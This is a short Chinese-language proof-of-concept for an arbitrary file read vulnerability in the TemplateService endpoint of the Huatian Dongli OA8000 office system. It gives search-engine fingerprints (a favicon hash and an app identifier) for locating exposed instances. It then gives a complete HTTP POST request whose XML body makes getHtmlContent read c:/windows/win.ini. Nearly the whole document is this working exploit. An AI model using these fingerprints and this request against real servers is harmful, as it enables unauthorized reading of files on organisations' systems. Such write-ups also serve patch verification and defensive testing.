华天动力-TemplateService-任意文件读取

2024 0102华天动力-TemplateService-任意文件读取

指纹特征

web.icon=="b7093d421dbebf3fdd76545d4457673a" 

app="华天动力-OA8000"

漏洞复现

POST /OAapp/bfapp/buffalo/TemplateService HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
Content-Length: 101
Content-Type: text/xml
Cookie: JSESSIONID=8D597EE4FB74383C245ECD138F743122
Accept-Encoding: gzip, deflate

<buffalo-call>
<method>getHtmlContent</method>
<string>c:/windows/win.ini</string>
</buffalo-call>